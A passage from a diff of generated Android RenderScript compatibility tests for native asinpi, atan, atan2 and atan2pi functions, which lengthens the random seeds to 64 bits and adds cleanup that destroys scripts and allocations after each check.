     private void verifyResultsNativeAsinpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAsinpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1a473e96l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xebb66ff91a473e96l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAsinpiHalf2Half2(inV, out);
             verifyResultsNativeAsinpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiHalf2Half2(inV, out);
             verifyResultsNativeAsinpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAsinpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x794f038al, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xebb67a9a794f038al, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAsinpiHalf3Half3(inV, out);
             verifyResultsNativeAsinpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiHalf3Half3(inV, out);
             verifyResultsNativeAsinpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAsinpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd856c87el, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xebb6853bd856c87el, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAsinpiHalf4Half4(inV, out);
             verifyResultsNativeAsinpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiHalf4Half4(inV, out);
             verifyResultsNativeAsinpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.java
index d12a831..e6e85fa 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAtanRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAtanFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x25b34e42l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xaafbf9b325b34e42l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAtanFloatFloat(inV, out);
             verifyResultsNativeAtanFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanFloatFloat(inV, out);
             verifyResultsNativeAtanFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAtanFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x108a7b96l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf5c93432108a7b96l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAtanFloat2Float2(inV, out);
             verifyResultsNativeAtanFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanFloat2Float2(inV, out);
             verifyResultsNativeAtanFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAtanFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6a59c74l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf5cafd4d06a59c74l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAtanFloat3Float3(inV, out);
             verifyResultsNativeAtanFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanFloat3Float3(inV, out);
             verifyResultsNativeAtanFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAtanFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfcc0bd52l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf5ccc667fcc0bd52l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAtanFloat4Float4(inV, out);
             verifyResultsNativeAtanFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanFloat4Float4(inV, out);
             verifyResultsNativeAtanFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAtanHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8d59863cl, -1,  1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa2e1ddb68d59863cl, -1,  1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAtanHalfHalf(inV, out);
             verifyResultsNativeAtanHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanHalfHalf(inV, out);
             verifyResultsNativeAtanHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAtanHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x92d1957el, -1,  1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x71596b6692d1957el, -1,  1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAtanHalf2Half2(inV, out);
             verifyResultsNativeAtanHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanHalf2Half2(inV, out);
             verifyResultsNativeAtanHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAtanHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf1d95a72l, -1,  1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x71597607f1d95a72l, -1,  1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAtanHalf3Half3(inV, out);
             verifyResultsNativeAtanHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanHalf3Half3(inV, out);
             verifyResultsNativeAtanHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAtanHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x50e11f66l, -1,  1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x715980a950e11f66l, -1,  1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAtanHalf4Half4(inV, out);
             verifyResultsNativeAtanHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanHalf4Half4(inV, out);
             verifyResultsNativeAtanHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.java
index 8d2a826..4996745 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeAtan2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeAtan2FloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xfb6dcb4fl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x634c16d0l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2139aa61fb6dcb4fl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf6634dcb634c16d0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2FloatFloatFloat(inNumerator, out);
             verifyResultsNativeAtan2FloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2FloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2FloatFloatFloat(inNumerator, out);
             verifyResultsNativeAtan2FloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2FloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2FloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativeAtan2Float2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd0059da7l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdfda5468l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x989e0b0cd0059da7l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4a617fa4dfda5468l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Float2Float2Float2(inNumerator, out);
             verifyResultsNativeAtan2Float2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Float2Float2Float2(inNumerator, out);
             verifyResultsNativeAtan2Float2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Float2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativeAtan2Float3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x72d189a8l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb2b5e7a1l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x742cb44672d189a8l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x13c5c0edb2b5e7a1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Float3Float3Float3(inNumerator, out);
             verifyResultsNativeAtan2Float3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Float3Float3Float3(inNumerator, out);
             verifyResultsNativeAtan2Float3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Float3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativeAtan2Float4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x159d75a9l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x85917adal, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4fbb5d80159d75a9l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdd2a023685917adal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Float4Float4Float4(inNumerator, out);
             verifyResultsNativeAtan2Float4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Float4Float4Float4(inNumerator, out);
             verifyResultsNativeAtan2Float4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Float4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Float4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkNativeAtan2HalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe3d252c0l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe16255f9l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8c9f12b4e3d252c0l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa5d1cc9be16255f9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2HalfHalfHalf(inNumerator, out);
             verifyResultsNativeAtan2HalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2HalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2HalfHalfHalf(inNumerator, out);
             verifyResultsNativeAtan2HalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2HalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2HalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkNativeAtan2Half2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x51d7124l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x58f0d63dl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe8f5f79a051d7124l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x956d078958f0d63dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Half2Half2Half2(inNumerator, out);
             verifyResultsNativeAtan2Half2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Half2Half2Half2(inNumerator, out);
             verifyResultsNativeAtan2Half2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Half2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkNativeAtan2Half3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x508fa193l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x44b0a7f4l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa394c8a9508fa193l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7a80ff0144b0a7f4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Half3Half3Half3(inNumerator, out);
             verifyResultsNativeAtan2Half3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Half3Half3Half3(inNumerator, out);
             verifyResultsNativeAtan2Half3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Half3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkNativeAtan2Half4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9c01d202l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x307079abl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5e3399b89c01d202l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5f94f679307079abl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2Half4Half4Half4(inNumerator, out);
             verifyResultsNativeAtan2Half4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2Half4Half4Half4(inNumerator, out);
             verifyResultsNativeAtan2Half4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2Half4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2Half4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.java
index 572c8c8..4ccf00e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeAtan2piRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeAtan2piFloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x694fc108l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x853dc01l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc2172a04694fc108l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd63229f70853dc01l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piFloatFloatFloat(inNumerator, out);
